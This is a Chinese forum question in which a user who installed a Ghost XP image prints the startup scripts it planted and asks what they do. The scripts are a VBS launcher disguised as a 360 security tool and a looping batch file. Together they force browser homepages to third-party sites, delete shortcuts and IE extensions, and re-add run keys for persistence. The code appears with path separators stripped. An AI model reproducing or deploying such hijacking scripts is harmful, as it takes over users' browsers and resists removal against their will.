[已解決]ghost版本的xp系統啟動批處理起什么作用裝了1個ghost版本的xp系統。在注冊表里的run啟動項目里面，有個 36O安全衛士.vbs。這個文件路徑是C:WINDOWS36O安全衛士.vbs文件內容是：

on error resume next
DIM objShell
set objShell=wscript.createObject(wscript.shell)
iReturn=objShell.Run(cmd.exe /C C:WINDOWSsys.bat, 0, TRUE)
nclick="copycode($('code0'));">復制代碼

sys.bat文件內容是：

@reg delete HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMain /v Start Page /f 
@reg add HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMain /v Start Page /d http://www.5208.me/?5 /f
@reg add HKEY_USERs.DEFAULTSoftwareMicrosoftInternet ExplorerMain /v Start Page /d http://www.5208.me/?5 /f
@reg add HKEY_USERsS-1-5-18SoftwareMicrosoftInternet ExplorerMain /v Start Page /d http://www.5208.me/?5 /f
@reg add HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerUser Shell Folders /f /v Favorites /t REG_EXPAND_SZ /d C:documents and SettingsAdministratorFavorites
@reg add HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerUser Shell Folders /f /v Personal /t REG_EXPAND_SZ /d C:documents and SettingsAdministratorMy documents
@reg add HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerUser Shell Folders /f /v Desktop /t REG_EXPAND_SZ /d C:documents and SettingsAdministrator桌面
wscript.exe C:WINDOWSs.vbs
attrib C:WINDOWSRocketDockSettings.ini +s +r +h
@reg add HKLMSoftwareMicrosoftWindowsCurrentVersionrun /f /v RocketDock /t REG_SZ /d C:WINDOWSRocketDockRocketDock.exe
copy C:WINDOWSzm C:documents and SettingsAll Users桌面 /y 
del /f /s /q %appdata%MicrosoftInternet ExplorerQuick Launch*.url
del /f /s /q %appdata%MicrosoftInternet ExplorerQuick Launch*.lnk
copy C:WINDOWSquick %appdata%MicrosoftInternet ExplorerQuick Launch /y 
reg delete HKEY_CLASSES_ROOTInternetShortcut /v IsShortcut /f
copy C:WINDOWSFavorites c:documents and SettingsAdministratorFavorites /y
copy C:WINDOWSFavorites c:documents and SettingsAll UsersFavorites /y
@reg delete HKEY_LOCAL_MACHINESoftwareMicrosoftInternet ExplorerExtensions /f 
regedit -s C:WINDOWSgjl.reg
copy C:WINDOWSTheWorldInternet Explorer.url C:documents and SettingsAll Users「開始」菜單程序 /y
@echo off
:loop
wscript.exe C:WINDOWS,.vbs
@reg add HKLMSoftwareMicrosoftWindowsCurrentVersionrun /f /v 36O安全衛士 /t REG_SZ /d C:WINDOWS36O安全衛士.vbs
ping 127.1 -n 10 >nul 2>nul
goto loop
nclick="copycode($('code1'));">復制代碼

C:WINDOWS下面還有個,.vbs，內容是：

on error resume next
DIM objShell,Fso,TxtFl,Str,re
Set objShell = CreateObject(Wscript.Shell)
objShell.RegWrite HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoInternetIcon,1,REG_DWORD
Set Fso = CreateObject(scripting.FileSystemObject)
Set TxtFl = Fso.OpenTextFile (C:documents and SettingsAdministratorApplication Data360se360SE.ini,1,False)
Set re = new RegExp
re.Pattern = s+HomePage=([Ss]*?)s+
re.Global = true
re.IgnoreCase = true
Str = re.Replace ( TxtFl.ReadAll,vbnewline+HomePage=http://www.2345li.com/?3+vbnewline)
TxtFl.Close
Set TxtFl = Fso.OpenTextFile (C:documents and SettingsAdministratorApplication Data360se360SE.ini,2,False)
TxtFl.Write Str 
TxtFl.Close
Set TxtFl = Fso.OpenTextFile (C:documents and SettingsAdministratorApplication DataSogouExplorerConfig.xml,1,True)
Set re = new RegExp
re.Pattern = homepage=([Ss]*?)
re.Global = true
re.IgnoreCase = true
Str = re.Replace ( TxtFl.ReadAll,homepage=http://www.2345li.com/?3)
re.Pattern = homepagetype=([Ss]*?)
Str = re.Replace ( Str,homepagetype=3)
TxtFl.Close
Set TxtFl = Fso.OpenTextFile (C:documents and SettingsAdministratorApplication DataSogouExplorerConfig.xml,2,True)
TxtFl.Write Str 
TxtFl.Close
nclick="copycode($('code2'));">復制代碼